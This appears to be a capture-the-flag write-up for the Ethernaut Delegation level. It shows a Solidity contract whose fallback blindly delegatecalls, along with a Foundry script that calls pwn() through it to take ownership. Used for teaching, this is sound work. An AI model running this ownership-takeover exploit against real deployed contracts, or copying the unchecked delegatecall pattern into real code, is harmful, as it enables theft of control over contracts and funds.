Level 6 - Delegation ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Exploit
The contract forwards any unmatched function calls through to the Delegate
contract through the fallback()
function. As pwn()
is only on the Delegate
contract, it's as simple as calling pwn()
and having it execute the function on the Delegate
instead of the Delegation
contract.
Call
pwn()
.
make anvil-exploit-level-6
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
interface IDelegate {
function pwn() external;
}
// ================================================================
// │ LEVEL 6 - DELEGATION │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IDelegate targetContract = IDelegate(targetContractAddress);
vm.startBroadcast();
// Using interface:
targetContract.pwn();
// Without interface:
// targetContractAddress.call(abi.encodeWithSignature("pwn()"));
vm.stopBroadcast();
}
}
Submit instance... 🥳
Completion Message
Notes
delegatecall in Solidity
Last updated